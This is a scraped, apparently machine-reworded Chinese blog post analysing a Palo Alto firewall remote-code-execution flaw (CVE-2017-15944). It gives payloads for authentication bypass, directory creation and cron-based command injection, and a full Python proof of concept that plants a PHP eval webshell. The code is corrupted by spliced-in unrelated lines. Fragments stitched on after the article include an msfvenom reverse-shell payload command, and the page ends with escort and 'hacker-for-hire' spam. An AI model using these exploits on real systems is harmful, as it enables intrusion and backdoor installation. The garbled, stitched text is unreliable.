c言语入门:PaloAlto长途指令履行缝隙关键技术剖析终篇(附POC )

访客5年前黑客文章1106

        这篇文章是对Palo Alto防火墙产品未授权长途代码实行缝隙(CVE-2017-15944 )中SESSION设置、任意目录创建、指令实行缝隙的技能分析。之前对该缝隙认证绕过部分进行了介绍,这篇文章是该缝隙的后续部分。

(一)SESSION设置

在认证绕过缝隙中,需求通过访问https://ip/esp/cms_changeDeviceContext.esp来设置SESSION中的user变量。在cms_changeDeviceContext.esp中,调用了panUserSetDeviceLocation($_SESSION['user'], $_GET['device'], 0, new php_string_argout()),这个函数的实现在/usr/lib/php/modules/panmodule.so中。下面通过调试该函数,来分析SESSION变量的设置。访问https://ip/esp/cms_changeDeviceContext.esp?device=4096:aaaaaaaa:bbbbbbbb,进入panUserSetDeviceLocation函数:

 

1、deviceStr指针指向的字符串就是传入的URL参数device的值:”4096:aaaaaaaa:bbbbbbbb”

 

2、调用panPhpConvertStringToLoc(char* deviceStr, pan_swal_config_loc_t* pLoc)函数,将deviceStr进行处理后存储在pLoc中,处理的首要逻辑如下:

 

 

1) 寻觅之一个’:'字符,将之一个’:'之前的字符串依照十进制转化为整数dNumber;

 

2)寻觅…第二个’:'字符,将之一个’:'与第二个’:'之间的字符串deviceName(剩余20h个,自动切断)仿制在4-24h字节处;

 

3)寻觅第三个’

研讨发现的几个基本问题:

:'字符,将第二个’:'与第三个’:'之间的字符串str2(剩余20h个,自动切断)仿制在24h-44h字节处;

 

4)假设有,持续寻觅后边’:'字符,将第n个’:'与第n+1个’:'之间的字符串strn(剩余20h个,自动切断)仿制在24h-44h字节处,掩盖本来的数据毕竟pLoc的结构如下:

 

 

3、调用panPhpSetDeviceForSession(pan_char_t *cookie, pan_char_t *devName, pan_char_t *errMsgBuf, pan_uint32_t bufSize)函数,参数devName字符串就是pLoc结构中的devName字符串,在该输入中,为”aaaaaaaa”。panPhpSetDeviceForSession调用panPhpSetDeviceAndVsysForSession(pan_char_t *cookie, pan_char_t *devName, pan_char_t *vsysName, pan_char_t *errMsgBuf, pan_uint32_t bufSize),参数devName字符串就是pLoc结构中的devName字符串,在该输入中为”aaaaaaaa”;参数vsysName字符串为“vsys1”。

 

panPhpSetDeviceAndVsysForSession的要害处理逻辑如下:

 

1)调用panPhpConvertLocToString,回来“8:aaaaaaaa”

 

2)通过panPhpSetSessionVar函数,将session变量dloc设置为“8:aaaaaaaa”

 

3)通过panPhpSetSessionVar函数,将session变量loc设置为“16:aaaaaaaa:vsys1”

 

 

4、根据上述分析,假设像上篇文章(http://www.freebuf.com/articles/es/159119.html)相同,输入https://ip/esp/cms_changeDeviceContext.esp ?device=aaaa:bbbb’”;user|s: ,则dloc的数值为 8:bbbb’”;user|s,loc的数值为16:bbbb’”;user|s:vsys1,读取的session的数值为 dloc|s:15:8:bbbb’”;user|s”;loc|s:22:”16:bbbb’”;user|s:vsys1″;

 

(二)任意目录创建

 

向https://ip/php/utils/router.php/Administrator.get运用POST办法提交如下数据:

 

{"action":"PanDirect","method":"execute","data":["07c5807d0d927dcd0980f86024e5208b","Administrator.get",{"changeMyPassword":true,"template":"asd","id":"admin']"        async-mode='yes' refresh='yes' cookie='../../../../../../tmp/hacked'/>u0000"}],"type":"rpc","tid":713}

 

会创建/tmp/hacked文件,下面临原理进行分析:

 

1、router.php文件中界说了ExtDirect_Router类,该类承继自RouterAbstract

 

2、router.php新建ExtDirect_Router目标,并顺次调用getResponse()=>>dispatch(),在dispatch中对POST提交的数据进行 *** ON处理,收到的POST数据为:

{"action":"PanDirect","method":"execute","data":["07c5807d0d927dcd0980f86024e5208b","Administrator.get",{"changeMyPassword":true,"template":"asd","id":"admin']"        async-mode='yes' refresh='yes' cookie='../../../../../../tmp/hacked'/>u0000"}],"type":"rpc","tid":713}

处理之后赋值给request变量,requet变量的数值如下:

 

 

3、将request变量提交给rpc($request)函数,在rpc函数中通过call_user_func_array(array($instance,$method), $params)调用PanDirect->execute($params)

 

 

4、PanDirect->execute($params)的逻辑如下:

 

1)checkValidRemoteCall对类、办法、是否为静态办法进行断定;

 

2)$obj = $reflection->newInstanceArgs(array($jsonArgs));树立Administrator类;

 

3)$obj->$method();调用Administrator类的get办法

 

 

5、Administrator.get办法调用Direct::getConfigByXpath()函数,构成的xml如下图:

 

   

 

6、毕竟通过MSCommection.php中的writeaPayload函数将xml字符串发送给后台进程mgmtsrvr

 

7、mgmtsrvr中的pan_mgmtsrvr_client_svc函数接纳的数据如下。/tmp/hacked’/>之后,有个0字节,构成数据切断

 

 

8、毕竟在libpanmp_mp.so.1中的pan_jobmgr_store_job_result函数中运用途径回溯,树立了/tmp/hacked文件夹

 

 

(三)指令实行

 

1、检查/etc/cron.d/目录下的文件,此目录下寄存的是体系级使命的使命文件。下面有个indexgen文件,会在0、15、30、45分钟的时分实行genindex_batch.sh脚本:

 

SHELL=/bin/bash

0,15,30,45 * * * * root /usr/local/bin/genindex_batch.sh

 

在genindex_batch.sh中调用了/usr/local/bin/genindex.sh脚本

 

2、genindex.sh中构成指令实行的要害代码如下,其间PAN_BASE_DIR=/opt/pancfg/mgmt

 

 

3、指令实行

 

1)运用文件夹创建缝隙,发送

{"action":"PanDirect","method":"execute","data":["07c5807d0d927dcd0980f86024e5208b","Administrator.get",{"changeMyPassword":true,"template":"asd","id":"admin']" async-mode='yes' refresh='yes' cookie='../../../../../../opt/pancfg/mgmt/logdb/traffic/1/* -print -exec python -c exec("Zj1vcGVuKCcvdmFyL2FwcHdlYi9odGRvY3MvdnVkcmMucGhwJywgJ3cnKTtmLndyaXRlKCI8P3BocCBAZXZhbCgkX1BPU1RbJ2NodnVjMDEwJ10pOz8+Iik7Zi5jbG9zZSgpOw==".decode("base64")) ;'/>u0000"}],"type":"rpc","tid":713}

 

2)创建文件夹/opt/pancfg/mgmt/logdb/traffic/1/* -print -exec python -c exec(“Zj1vcGVuKCcvdmFyL2FwcHdlYi9odGRvY3MvdnVkcmMucGhwJywgJ3cnKTtmLndyaXRlKCI8P3BocCBAZXZhbCgkX1BPU1RbJ2NodnVjMDEwJ10pOz8+Iik7Zi5jbG9zZSgpOw==”.decode(“base64″)) ;,其间base64编码数据解码
标签:标题
之后的数值为f=open(‘/var/appweb/htdocs/vudrc.php’, ‘w’);f.write(“<?php @eval($_POST['chvuc010']);?>”);f.close();

 

3)genindex.sh实行的时分,实行的`find $day -mmin +5 -name pan.*.log | sort -r` 成为`find /opt/pancfg/mgmt/logdb/traffic/1/* -print -exec python -c exec(“Zj1vcGVuKCcvdmFyL2FwcHdlYi9odGRvY3MvdnVkcmMucGhwJywgJ3cnKTtmLndyaXRlKCI8P3BocCBAZXZhbCgkX1BPU1RbJ2NodnVjMDEwJ10pOz8+Iik7Zi5jbG9zZSgpOw==”.decode(“base64″)) ; -mmin +5 -name pan.*.log | sort -r`,构成指令注入。

 

4)最多15分钟后,在/var/appweb/htdocs/vudrc.php写入一句话木马,暗码为chvuc010

 

(四)poc
 
import urllib
import urllib2
import ssl
import sys

ssl._create_default_https_context = ssl._create_unverified_context

domain = "192.168.1.1"

#pass auth
print "step 1: pass_auth"
pass_auth_url = "https://" + domain + "/esp/cms_changeDeviceContext.esp?device=1024:bbbb'";user|s:"
print "pif (CurrentFlags & FLAG_FIRST_THREAD) {ass_auth request: " + pass_auth_url
request = urllib2.Request(pass_auth_url)
response = urllib2.urlopen(requeRemove-MailboxExportRequest -Identity 'test.com/Users/test1MailboxExport' -Confirm:$falsest)
print "pass_auth respone: " + response.read()
session_start_index = response.headers['Set-Cookie'].find("PHPSESSID")
if session_start_index == -1:
print "pass_auth fail!!"
sys.exit()
session = response.headers['Set-Cookie'][session_start_index:]
session = session[:session.find(';')]
auth_headers = {
'Cookie':session,
'Connection':'keep-alive'
}


print "n"
print "step 2: check if pass auth"
auth_url = "https://" + domain + "/php/utils/debug.php"
print "auth_url request: " + auth_url
request = urllib2.Request(auth_url, headers = auth_headers)
response = urllib2.urlopen(request)
content = response.read()
#print content
if "Debug" not in content:
print "pass auth fail!!"
sys.exit()
print "pass auth success!!"


print "n"
print "setp 3: create dir"
create_dir_url = "https://" + domain + "/php/utils/router.php/Administrator.get"
print "create_dir request: " + create_dir_url
post_data = "{"action":"PanDirect","method":"execute","data":["07c5807d0d927dcd0980f86024e5208b","Administrator.get",{"changeMyPassword":true,"template":"asd","id":"admin']" async-mode='yes' refresh='yes' cookie='../../../../../../opt/pancfg/mgmt/logdb/traffic/1/* -print -exec python -c exec("Zj1vcGVuKCcvdmFyL2FwcHdlYi9odGRvY3MvdnVkcmMucGhwJywgJ3cnKTtmLndyaXRlKCI8P3BocCBAZXZhbCgkX1BPU1RbJ2NodnVjMDEwJ10pOz8+Iik7Zi5jbG9zZSgpOw==".decode("base64")) ;'/>u0000"}],"type":"rpc","tid":713}"
request = urllib2.Request(create_dir_url, headers = auth_headers, data=post_data)
response = urllib2.urlopen(request)

print "n"
print "15 minutes later, visit https://" + domain + "/vudrc.php"

*本文原创作者:xmwanth,本文属FreeBuf原创奖赏方案,未经许可制止转载

c言语入门:PaloAlto长途指令履行缝隙关键技术剖析终篇(附POC )

CONFIG_CONNECTOR=y最简略的比如是运用官方docker客户端访问docker.sock文件(例如你可巧访问到了已设备docker客户端的容器,或是你可以设备docker客户端)。要运用它很简略,你可以工作
c语言入门
常规的docker指令,包括exec来获取shell:PaloAlto远程命令执行漏洞关键技术分析终篇(附POC )

c语言入门文中还提及,包括Samsung(三星)和Crucial(英睿达)在内的多种固态硬盘产品,加密机制存在缺陷,未对硬盘数据完结无缺加密,可无需暗码轻松完结加密机制绕过。这个模块可以运用有用的管理员用户名和暗码来在一台或多台主机上实行任意指令,这个模块是非常有用的,由于它不需求向政策主机上传任何的代码。因此,在一个新的metasploit结构中,我们就可以运用Web发送模块来获取到恶意dll代码,并在政策主机上完结任意指令实行。要了解有关AppLocker的更多信息,并且获得有关怎样创建并检验健壮的AppLocker战略的进一步教导,请参阅Oddvar Moe的AppLocker案例研讨,以及Aaron Margosis的AaronLocker东西。

可以运用如下指令间断查询:Windows上的进程归于一种安全的政策,可以阻遏已登录Windows主机的某个用户危害其他用户的进程。至少从非管理员的用户角度来看,这是一种非常重要的安全特性。在这种安全特性下,非管理员用户无法损坏任何进程的完整性。可是,这种安全屏障在针对管理员、特别是具有调试(Debug)权限的管理员时会显得捉襟见肘,由于启用这种权限后,管理员就可以无视进程具有的安全特色,翻开任意进程。c语言入门

0x0D 内存溢出msfvenom -p windows/meterpreter/reverse_winhttps LHOST=192.168.100.3 LPORT=443 PayloadUUIDTracking=true HandlerSSLCert=/root/Desktop/www.google.com.pem StagerVerifySSLCert=true PayloadUUIDName=ParanoidStagedPSH -f psh-cmd -o pentestlab.bat现在期望我们可以专注一点,初步吧!

IS

我们可以从VMRay挟制辨认服务(VTI)供应的详细信息中了解到,VMRay发现政策会检验进行沙盒检测,并且把这种行为符号成了“高度可疑”。(3)然后再运用launchd注册许多的服务,期望这些服务的port的ipc_entry会重用之前被开释的send right。 cat local.propertiesPaloAlto远程命令执行漏洞关键技术分析终篇(附POC )

c语言入门安卓logcat信息泄露的情况在早年的乌云上宣布过许多起,例如: pwd考虑到正则匹配简略误报漏报,有厂家扔掉了这种分析方式,转而
PaloAlto远程命令执行漏洞关键技术分析终篇(附POC )
做语义分析。长亭科技的SqlChop就是如此,概略可阅读SQLChop - 一个新式 SQL 注入检测引擎

其实说的afl-fuzz我们都不会很陌生,afl-fuzz是Linux用于fuzz文件格式,协议等二进制缝隙的神器,而winafl则是afl-fuzz的Windows版,最近我对winafl进行了一些浅层研讨,由于之前也进行过一段时间的二进制缝隙开掘,但基本上都是停留在手工开掘上,越发觉得自动化神器功用的健壮,也为往后自己开发fuz *** 西供应了很重要的教导根据。1. 供应 root 后门2.1 SSH相关c语言入门

由于之一种办法首要在同一进程中运用,因此我们首要注重后两种情况,只需Bound Service显露,那么便可以编写恶意app,通过Messenger和根据AIDL的Bound Service进行跨进程通讯,传入污染的数据或许直接调用被侵犯运用的功用,毕竟对安全发作非预期的影响。为了完结以上政策,最直接、有用的办法就是找到具有AD处理员权限的账号暗码信息。而这时我们首要想到的一般是神器Mimikatz,协作一些小技巧,不需求依托缝隙提权,只需处理稍微有所松懈,黑客在内网中就可如入无人之境。

假设你正好运用K9 Email,那么可以进入Account Settings | Cryptography,选择OpenKeychain用作你的加密解决方案。之后,K9就会从OpenKeychain获取你的加密密钥,其他的成为前史。

PaloAlto远程命令执行漏洞关键技术分析终篇(附POC )

一起Kill Chain可实行以下侵犯阶段:

这儿也需求留心几个问题:

[1][2]黑客接单网


本文标题:c言语入门:PaloAlto长途指令履行缝隙关键技术剖析终篇(附POC )

相关文章

苏州市约儿平台网站强烈推荐整合乐育

苏州市约小学妹平台网站强烈推荐整合【乐育】,上海市是一座成功者的集中地,对商业服务女学妹的要求也是较为大的,今日大牌明星商务共享女学妹访梦,年纪哈尔滨市 女 27,婚姻生活:单身,文凭:普通高中,气场...

陕西禁止任何形式家暴!哪些行为算是家暴?被家暴了要怎么办

7月30日,陕西省第十三届人大常委会第十九次会议表决通过了陕西省实施《中华人民共和国反家庭暴力法》办法(以下简称办法),办法规定,禁止任何形式的家庭暴力,包括侮辱、诽谤等精神侵害行为。 办法明确,家...

陈佳妮Jenny 伴游-【卫痴梦】

“陈佳妮Jenny 伴游-【卫痴梦】” 婚否:未婚莆田的客户评价:经纪人思虑周全,服务也好,随叫随到,关键妹子们也甜美可爱,累一天真的能放松。1:加模特经纪人微信号,转定金500-1000,告知确实在...

英雄豪杰(英雄豪杰停播原因)

英雄豪杰(英雄豪杰停播原因) 《水浒传》里描写了108条性格各异的梁山好汉。他们身上或多或少都有一些让人诟病的缺陷。就连家喻户晓的打虎英雄武松,都曾经在大闹飞云浦、血溅鸳鸯楼时,杀了十余条人命,其中...

有没有一种软件可以查领导微信聊天已删好记录

  导读:近日,在广东发生了一件怪事,一处关公庙的香火钱接连失窃,当工作人员打开箱子后却发现了箱子里的“神器”。究竟是什么东西,能偷走香火钱呢?赶快来看看吧!   近日,广东一处关公庙香火钱接连失窃...

js调试,14个你可能不知道的JavaScript调试技巧

以更快的速率和更高的效率来调试JavaScript 熟悉工具可以让工具在工作中施展出更大的作用。只管江湖传言 JavaScript 很难调试,但若是你掌握了几个技巧,就能用很少的时间来解决错误和bu...